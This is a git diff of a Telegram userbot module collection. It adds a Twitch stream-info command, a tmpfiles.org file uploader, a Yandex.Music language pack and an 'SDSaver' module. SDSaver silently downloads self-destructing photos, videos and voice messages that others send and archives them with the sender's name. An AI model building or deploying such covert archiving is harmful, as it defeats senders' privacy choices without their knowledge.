await utils.answer(message, "<emoji document_id=5190748314026385859>🤷♂️</emoji> Нет подписок")
|
||||
return
|
||||
|
||||
logins = [channel["broadcaster_login"] for channel in followed]
|
||||
live_streams = await self.get_live_streams(logins[:100])
|
||||
|
||||
if not live_streams:
|
||||
await utils.answer(message, "<emoji document_id=4926956800005112527>🔴</emoji> Сейчас никто не стримит")
|
||||
return
|
||||
|
||||
text = "<emoji document_id=4999434394599948988>🎮</emoji> Стримеры ведущие трансляцию:\n"
|
||||
for stream in live_streams:
|
||||
channel_info = await self.get_channel_info(stream["user_id"])
|
||||
followers_count = await self.get_channel_followers(stream["user_id"])
|
||||
text += (f'\n<b><emoji document_id=5879770735999717115>👤</emoji> <a href="https://twitch.tv/{stream["user_login"]}">{stream["user_name"]}</a></b>'
|
||||
f'<b><blockquote><emoji document_id=5348214678524805365>🎮</emoji> {stream["game_name"]}\n'
|
||||
f'<emoji document_id=6037397706505195857>👁</emoji> <code>{stream["viewer_count"]}</code> зрителей\n'
|
||||
f'<emoji document_id=6032609071373226027>👥</emoji> <code>{followers_count}</code> фолловеров\n'
|
||||
f'<emoji document_id=5879785854284599288>ℹ️</emoji> {stream["title"]}\n</blockquote></b>')
|
||||
|
||||
await utils.answer(message, text)
|
||||
|
||||
@loader.command()
|
||||
async def streamer(self, message):
|
||||
"""Информация о стримере"""
|
||||
args = utils.get_args_raw(message)
|
||||
if not args:
|
||||
await utils.answer(message, "<emoji document_id=5019523782004441717>❌</emoji> Укажите ник стримера")
|
||||
return
|
||||
|
||||
user_id = await self.get_user_id(args)
|
||||
if not user_id:
|
||||
await utils.answer(message, f"<emoji document_id=5019523782004441717>❌</emoji> Стример {args} не найден")
|
||||
return
|
||||
|
||||
channel_info = await self.get_channel_info(user_id)
|
||||
followers_count = await self.get_channel_followers(user_id)
|
||||
|
||||
text = (f"<emoji document_id=4999434394599948988>🎮</emoji> <b>Информация о:</b>\n\n <b><emoji document_id=5879770735999717115>👤</emoji> <a href='https://twitch.tv/{args}'>{args}</a></b>:\n"
|
||||
f"<b><blockquote><emoji document_id=6032609071373226027>👥</emoji> Фолловеров: <code>{followers_count}</code>\n"
|
||||
f"<emoji document_id=5879785854284599288>ℹ️</emoji> Описание стрима (пусто = офф): <code>{channel_info.get('title', 'Нет описания')}</code>\n"
|
||||
f"<blockquote><emoji document_id=5348214678524805365>🎮</emoji> Игра на стриме: <code>{channel_info.get('game_name', 'Не указана')}</code> \n"
|
||||
f"<emoji document_id=6028171274939797252>🔗</emoji> Ссылка: https://twitch.tv/{args}</b></blockquote>")
|
||||
|
||||
await utils.answer(message, text)
|
||||
|
||||
@loader.command()
|
||||
async def topgames(self, message):
|
||||
"""Топ игр на Twitch"""
|
||||
games = await self.get_top_games(10)
|
||||
if not games:
|
||||
await utils.answer(message, "<emoji document_id=5019523782004441717>❌</emoji> Не удалось получить список игр")
|
||||
return
|
||||
|
||||
text = "<emoji document_id=4999434394599948988>🎮</emoji> Топ игр на Twitch:\n\n"
|
||||
text += "\n".join(
|
||||
f"<b><blockquote>{i+1}. {game['name']} (ID: <code>{game['id']}</code>)</blockquote></b>"
|
||||
for i, game in enumerate(games))
|
||||
|
||||
await utils.answer(message, text)
|
||||
|
||||
@loader.command()
|
||||
async def game(self, message):
|
||||
"""Поиск игры и стримы по ней"""
|
||||
args = utils.get_args_raw(message)
|
||||
if not args:
|
||||
await utils.answer(message, "<emoji document_id=5019523782004441717>❌</emoji> Укажите название игры")
|
||||
return
|
||||
|
||||
games = await self.search_games(args)
|
||||
if not games:
|
||||
await utils.answer(message, f"<emoji document_id=5019523782004441717>❌</emoji> Игра '{args}' не найдена")
|
||||
return
|
||||
|
||||
game = games[0]
|
||||
streams = await self.get_live_streams(game_id=game["id"])
|
||||
|
||||
text = (f"<emoji document_id=5348214678524805365>🎮</emoji> Игра: {game['name']}\n"
|
||||
f"<emoji document_id=6028171274939797252>🔗</emoji> Изображение: {game['box_art_url'].replace('{width}x{height}', '300x400')}\n\n")
|
||||
|
||||
if streams:
|
||||
text += f"<emoji document_id=4999434394599948988>🎮</emoji> Топ стримов ({len(streams)} онлайн):\n\n"
|
||||
for stream in streams[:5]:
|
||||
followers_count = await self.get_channel_followers(stream["user_id"])
|
||||
text += (f'<b><emoji document_id=5879770735999717115>👤</emoji> <a href="https://twitch.tv/{stream["user_login"]}">{stream["user_name"]}</a>\n'
|
||||
f'<blockquote><emoji document_id=6037397706505195857>👁</emoji> <code>{stream["viewer_count"]}</code> зрителей\n'
|
||||
f'<emoji document_id=6032609071373226027>👥</emoji> <code>{followers_count}</code> фолловеров\n'
|
||||
f'<emoji document_id=5879785854284599288>ℹ️</emoji>{stream["title"]}\n</blockquote></b>')
|
||||
else:
|
||||
text += "Сейчас никто не стримит эту игру"
|
||||
|
||||
await utils.answer(message, text)
|
||||
96
mead0wsss/mead0wsMods/tmpfiles.py
Normal file
96
mead0wsss/mead0wsMods/tmpfiles.py
Normal file
@@ -0,0 +1,96 @@
|
||||
# -- version --
|
||||
__version__ = (1, 0, 0)
|
||||
# -- version --
|
||||
|
||||
|
||||
# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗
|
||||
# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝
|
||||
# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░
|
||||
# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗
|
||||
# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝
|
||||
# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░
|
||||
# © Copyright 2025
|
||||
# ✈ https://t.me/mead0wssMods
|
||||
|
||||
|
||||
# meta developer: @mead0wssMods
|
||||
|
||||
|
||||
|
||||
# -- main --
|
||||
from .. import loader, utils
|
||||
import io
|
||||
import requests
|
||||
import json
|
||||
# -- main --
|
||||
|
||||
|
||||
|
||||
@loader.tds
|
||||
class tmpfilesMod(loader.Module): # initialization
|
||||
"""Модуль для загрузки файлов на tmpfiles.org"""
|
||||
|
||||
strings = {
|
||||
"name": "tmpfiles",
|
||||
"uploading": "<emoji document_id=5307779382499090971>🫥</emoji> <b>Uploading file...</b>",
|
||||
"reply_to_file": "<emoji document_id=4958526153955476488>❌</emoji> <b>Reply to file!</b>",
|
||||
"uploaded": "<emoji document_id=5278611606756942667>❤️</emoji> <b>Successful! File uploaded!</b>\n\n<emoji document_id=5278305362703835500>🔗</emoji> <b>URL:</b> <code>{}</code>",
|
||||
"error": "<emoji document_id=4958526153955476488>❌</emoji> <b>Error while uploading: {}</b>"
|
||||
}
|
||||
# стринги (не мои)
|
||||
strings_ru = {
|
||||
"name": "tmpfiles",
|
||||
"uploading": "<emoji document_id=5307779382499090971>🫥</emoji> <b>Загружаю файл...</b>",
|
||||
"reply_to_file": "<emoji document_id=4958526153955476488>❌</emoji> <b>Ответьте на файл!</b>",
|
||||
"uploaded": "️<emoji document_id=5278611606756942667>❤️</emoji> <b>Файл успешно загружен!</b>\n\n<emoji document_id=5278305362703835500>🔗</emoji> <b>URL:</b> <code>{}</code>",
|
||||
"error": "<emoji document_id=4958526153955476488>❌</emoji> <b>Ошибка при загрузке: {}</b>"
|
||||
}
|
||||
|
||||
async def _get_file(self, message): # helper
|
||||
"""Helper to get file from message"""
|
||||
reply = await message.get_reply_message()
|
||||
if not reply:
|
||||
await utils.answer(message, self.strings["reply_to_file"])
|
||||
return None
|
||||
|
||||
if reply.media:
|
||||
file = io.BytesIO(await self.client.download_media(reply.media, bytes))
|
||||
if hasattr(reply.media, "document"):
|
||||
file.name = reply.file.name or f"file_{reply.file.id}"
|
||||
else:
|
||||
file.name = f"file_{reply.id}.jpg"
|
||||
else:
|
||||
file = io.BytesIO(bytes(reply.raw_text, "utf-8"))
|
||||
file.name = "text.txt"
|
||||
|
||||
return file
|
||||
|
||||
@loader.command(
|
||||
ru_doc = "Загрузка ваших файлов на tmpfiles.org", #loader
|
||||
en_doc = "Uploading your files to tmpfiles.org"
|
||||
)
|
||||
async def tmpfilescmd(self, message): # upload files
|
||||
await utils.answer(message, self.strings["uploading"])
|
||||
file = await self._get_file(message)
|
||||
if not file:
|
||||
return
|
||||
|
||||
try:
|
||||
response = requests.post(
|
||||
"https://tmpfiles.org/api/v1/upload", # requests
|
||||
files={"file": file}
|
||||
)
|
||||
if response.ok:
|
||||
data = json.loads(response.text)
|
||||
url = data["data"]["url"]
|
||||
await utils.answer(message, self.strings["uploaded"].format(url))
|
||||
else:
|
||||
await utils.answer(message, self.strings["error"].format(response.status_code))
|
||||
except Exception as e:
|
||||
await utils.answer(message, self.strings["error"].format(str(e)))
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Структура модуля (да и сама логика) взята с K:Uploader <3
|
||||
71928
modules.json
71928
modules.json
File diff suppressed because one or more lines are too long
BIN
unneyon/hikka-mods/banners/sdsaver.png
Normal file
BIN
unneyon/hikka-mods/banners/sdsaver.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 674 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 166 KiB |
@@ -1,6 +1,7 @@
|
||||
caliases
|
||||
deleter
|
||||
privacy
|
||||
sdsaver
|
||||
tidal
|
||||
warpigs
|
||||
yamusic
|
||||
BIN
unneyon/hikka-mods/icons/sdsaver.png
Normal file
BIN
unneyon/hikka-mods/icons/sdsaver.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 16 KiB |
63
unneyon/hikka-mods/langpacks/yamusic.yml
Normal file
63
unneyon/hikka-mods/langpacks/yamusic.yml
Normal file
@@ -0,0 +1,63 @@
|
||||
en:
|
||||
guide: "<emoji document_id=5956561916573782596>📜</emoji> <b><a href=\"https://yandex-music.rtfd.io/en/main/token.html\">Guide for obtaining access token for Yandex.Music</a></b>"
|
||||
iguide: "📜 <b><a href=\"https://yandex-music.rtfd.io/en/main/token.html\">Guide for obtaining access token for Yandex.Music</a></b>"
|
||||
no_token: "<emoji document_id=5778527486270770928>❌</emoji> <b>You didn't specify the access token in the config!</b>"
|
||||
autobio:
|
||||
d: "<emoji document_id=5429189857324841688>🎧</emoji> <b>Autobio is off now</b>"
|
||||
e: "<emoji document_id=5429189857324841688>🎧</emoji> <b>Autobio is on now</b>"
|
||||
there_is_no_playing: "<emoji document_id=5474140048741901455>❌</emoji> <b>You don't listening to anything right now</b>"
|
||||
queue_types:
|
||||
VARIOUS: "Your queue"
|
||||
RADIO: "«My Wave»"
|
||||
PLAYLIST: "Playlist «{}»"
|
||||
ALBUM: "«{}»"
|
||||
ARTIST: "Popular tracks by {}"
|
||||
downloading: "\n\n<emoji document_id=5841359499146825803>🕔</emoji> <i>Downloading audio…</i>"
|
||||
uploading_banner: "\n\n<emoji document_id=5841359499146825803>🕔</emoji> <i>Uploading banner…</i>"
|
||||
likes:
|
||||
liked: "<emoji document_id=6037533152593842454>❤️</emoji> <b>Track <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> was liked</b>"
|
||||
unliked: "<emoji document_id=5992453811510186287>❤️</emoji> <b>Track <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> was unliked</b>"
|
||||
disliked: "<emoji document_id=5222400230133081714>💔</emoji> <b>Track <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> was disliked</b>"
|
||||
lyrics: "<emoji document_id=5956561916573782596>📜</emoji> <b>Lyrics of the <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> track:</b>\n<blockquote expandable>{text}</blockquote>\n\n<emoji document_id=5247213725080890199>©️</emoji> <b>Writers:</b> {writers}"
|
||||
no_lyrics: "<emoji document_id=5886285363869126932>❌</emoji> <b>Track <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> has no lyrics!</b>"
|
||||
args: "<emoji document_id=5778527486270770928>❌</emoji> <b>Specify search query</b>"
|
||||
searching: "<emoji document_id=5258274739041883702>🔍</emoji> <b>Searching…</b>"
|
||||
404: "<emoji document_id=5778527486270770928>❌</emoji> <b>No results found</b>"
|
||||
search: "<emoji document_id=5474304919651491706>🎧</emoji> <b>{performer} — {title}</b>\n<emoji document_id=5429189857324841688>🎵</emoji> <b><a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">Yandex.Music</a> | <a href=\"https://song.link/ya/{track_id}\">song.link</a></b>"
|
||||
_cfg:
|
||||
token: "Your access token for Yandex.Music"
|
||||
now_playing_text: "The text that is used in commands to get now playing track. May contain {performer}, {title}, {device}, {volume}, {playing_from}, {link}, {track_id}, {album_id} keywords"
|
||||
autobio: "Automatic bio template (may contain {artist} and {title} keywords)"
|
||||
no_playing_bio: "Bio that is set when nothing is playing"
|
||||
|
||||
ru:
|
||||
guide: "<emoji document_id=5956561916573782596>📜</emoji> <b><a href=\"https://yandex-music.rtfd.io/en/main/token.html\">Гайд по получению токена Яндекс.Музыки</a></b>"
|
||||
iguide: "📜 <b><a href=\"https://yandex-music.rtfd.io/en/main/token.html\">Гайд по получению токена Яндекс.Музыки</a></b>"
|
||||
no_token: "<emoji document_id=5312526098750252863>❌</emoji> <b>Вы не указали токен Яндекс.Музыки в конфиге!</b>"
|
||||
autobio:
|
||||
d: "<emoji document_id=5429189857324841688>🎧</emoji> <b>Автобио выключено</b>"
|
||||
e: "<emoji document_id=5429189857324841688>🎧</emoji> <b>Автобио включено</b>"
|
||||
there_is_no_playing: "<emoji document_id=5474140048741901455>❌</emoji> <b>Вы ничего не слушаете сейчас</b>"
|
||||
queue_types:
|
||||
VARIOUS: "Ваша очередь"
|
||||
RADIO: "«Моя Волна»"
|
||||
PLAYLIST: "Плейлист «{}»"
|
||||
ALBUM: "«{}»"
|
||||
ARTIST: "Популярные треки {}"
|
||||
downloading: "\n\n<emoji document_id=5841359499146825803>🕔</emoji> <i>Загрузка трека…</i>"
|
||||
uploading_banner: "\n\n<emoji document_id=5841359499146825803>🕔</emoji> <i>Загрузка баннера…</i>"
|
||||
likes:
|
||||
liked: "<emoji document_id=6037533152593842454>❤️</emoji> <b>Трек <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> лайкнут</b>"
|
||||
unliked: "<emoji document_id=5992453811510186287>❤️</emoji> <b>С трека <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> снят лайк</b>"
|
||||
disliked: "<emoji document_id=5222400230133081714>💔</emoji> <b>Трек <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> дизлайкнут</b>"
|
||||
lyrics: "<emoji document_id=5956561916573782596>📜</emoji> <b>Текст трека <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a>:</b>\n<blockquote expandable>{text}</blockquote>\n\n<emoji document_id=5247213725080890199>©️</emoji> <b>Авторы:</b> {writers}"
|
||||
no_lyrics: "<emoji document_id=5886285363869126932>❌</emoji> <b>У трека <a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> нет текста!</b>"
|
||||
args: "<emoji document_id=5312526098750252863>❌</emoji> <b>Укажите поисковый запрос</b>"
|
||||
searching: "<emoji document_id=5258274739041883702>🔍</emoji> <b>Ищем…</b>"
|
||||
404: "<emoji document_id=5312526098750252863>❌</emoji> <b>Ничего не найдено</b>"
|
||||
search: "<emoji document_id=5474304919651491706>🎧</emoji> <b>{performer} — {title}</b>\n<emoji document_id=5429189857324841688>🎵</emoji> <b><a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">Яндекс.Музыка</a> | <a href=\"https://song.link/ya/{track_id}\">song.link</a></b>"
|
||||
_cfg:
|
||||
token: "Ваш токен от Яндекс.Музыки"
|
||||
now_playing_text: "Текст, использующийся в командах для получения прослушиваемого трека. Может содержать ключевые слова {performer}, {title}, {device}, {volume}, {playing_from}, {link}, {track_id}, {album_id}"
|
||||
autobio: "Шаблон автоматического био (может содержать ключевые слова {artist} и {title})"
|
||||
no_playing_bio: "Био, которое ставится, когда ничего не играет"
|
||||
120
unneyon/hikka-mods/sdsaver.py
Normal file
120
unneyon/hikka-mods/sdsaver.py
Normal file
@@ -0,0 +1,120 @@
|
||||
__version__ = (1, 0, 0)
|
||||
# █▄▀ ▄▀█ █▀▄▀█ █▀▀ █▄▀ █ █ █▀█ █▀█
|
||||
# █ █ █▀█ █ ▀ █ ██▄ █ █ ▀▄▄▀ █▀▄ █▄█ ▄
|
||||
# © Copyright 2025
|
||||
# ✈ https://t.me/kamekuro
|
||||
|
||||
# 🔒 Licensed under CC-BY-NC-ND 4.0 unless otherwise specified.
|
||||
# 🌐 https://creativecommons.org/licenses/by-nc-nd/4.0
|
||||
# + attribution
|
||||
# + non-commercial
|
||||
# + no-derivatives
|
||||
|
||||
# You CANNOT edit, distribute or redistribute this file without direct permission from the author.
|
||||
|
||||
# meta banner: https://raw.githubusercontent.com/kamekuro/hikka-mods/main/banners/sdsaver.png
|
||||
# meta pic: https://raw.githubusercontent.com/kamekuro/hikka-mods/main/icons/sdsaver.png
|
||||
# meta developer: @kamekuro_hmods
|
||||
# scope: hikka_min 1.7.0
|
||||
|
||||
import aiohttp
|
||||
import asyncio
|
||||
import io
|
||||
import json
|
||||
import logging
|
||||
import random
|
||||
import requests
|
||||
import string
|
||||
|
||||
import aiogram
|
||||
import telethon
|
||||
|
||||
from .. import loader, utils
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
@loader.tds
|
||||
class SDSaverMod(loader.Module):
|
||||
"""The module for automatically saving self-destructing media"""
|
||||
|
||||
strings = {
|
||||
"name": "SDSaver",
|
||||
"sdmode_on": "<emoji document_id=5769230088960741619>🔥</emoji> <b>Automatic saving self-destructing media is enabled</b>",
|
||||
"sdmode_off": "<emoji document_id=5769230088960741619>🔥</emoji> <b>Automatic saving self-destructing media is disabled</b>",
|
||||
"sd": "🔥 <b><a href=\"{link}\">{name}</a> sent self-destructing media:</b>\n{caption}"
|
||||
}
|
||||
|
||||
strings_ru = {
|
||||
"_cls_doc": "Модуль для автоматического сохранения самоуничтожающихся медиа",
|
||||
"sdmode_on": "<emoji document_id=5769230088960741619>🔥</emoji> <b>Автоматическое сохранение самоуничтожающихся медиа включено</b>",
|
||||
"sdmode_off": "<emoji document_id=5769230088960741619>🔥</emoji> <b>Автоматическое сохранение самоуничтожающихся медиа выключено</b>",
|
||||
"sd": "🔥 <b><a href=\"{link}\">{name}</a> отправил(а) самоуничтожающееся медиа:</b>\n{caption}"
|
||||
}
|
||||
|
||||
|
||||
async def client_ready(self, client, db):
|
||||
self._client = client
|
||||
self._db = db
|
||||
|
||||
channel, _ = await utils.asset_channel(
|
||||
self._client,
|
||||
"heroku-sd",
|
||||
"Self-destruction media will appear there",
|
||||
invite_bot=True,
|
||||
avatar="https://i.pinimg.com/originals/6c/1e/cf/6c1ecf3afca663a9ebc0b18788b337ee.jpg",
|
||||
_folder="heroku",
|
||||
)
|
||||
self._channel = int(f"-100{channel.id}")
|
||||
|
||||
|
||||
@loader.command(
|
||||
ru_doc="👉 Включить/Выключить автоматическое сохранение самоуничтожающихся медиа"
|
||||
)
|
||||
async def sdmodecmd(self, message: telethon.types.Message):
|
||||
"""👉 Enable/Disable automatic saving self-destructing media"""
|
||||
|
||||
need_mode = not self.get("save_sd", True)
|
||||
self.set("save_sd", need_mode)
|
||||
await utils.answer(
|
||||
message, self.strings(f"sdmode_{'on' if need_mode else 'off'}")
|
||||
)
|
||||
|
||||
|
||||
@loader.watcher("in", only_messages=True)
|
||||
async def watcher(self, message: telethon.types.Message):
|
||||
if (
|
||||
not self.get("save_sd", True)
|
||||
) or (
|
||||
not message.media
|
||||
) or (
|
||||
not getattr(message.media, "ttl_seconds", None)
|
||||
):
|
||||
return
|
||||
|
||||
try:
|
||||
sender = await self.client.get_entity(message.sender_id, exp=0)
|
||||
except Exception:
|
||||
sender = await message.get_sender()
|
||||
|
||||
media = await self.client.download_media(message.media, bytes)
|
||||
args = {
|
||||
"chat_id": self._channel,
|
||||
"caption": self.strings("sd").format(
|
||||
link=utils.get_entity_url(sender),
|
||||
name=utils.escape_html(telethon.utils.get_display_name(sender)),
|
||||
caption=message.text if message.text else ''
|
||||
)
|
||||
}
|
||||
if message.photo:
|
||||
args['photo'] = aiogram.types.BufferedInputFile(media, "sd.png")
|
||||
method = self.inline.bot.send_photo
|
||||
if message.video or message.video_note:
|
||||
args['video'] = aiogram.types.BufferedInputFile(media, "sd.mp4")
|
||||
method = self.inline.bot.send_video
|
||||
if message.voice:
|
||||
args['voice'] = aiogram.types.BufferedInputFile(media, "sd.ogg")
|
||||
method = self.inline.bot.send_voice
|
||||
|
||||
await method(**args)
|
||||
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user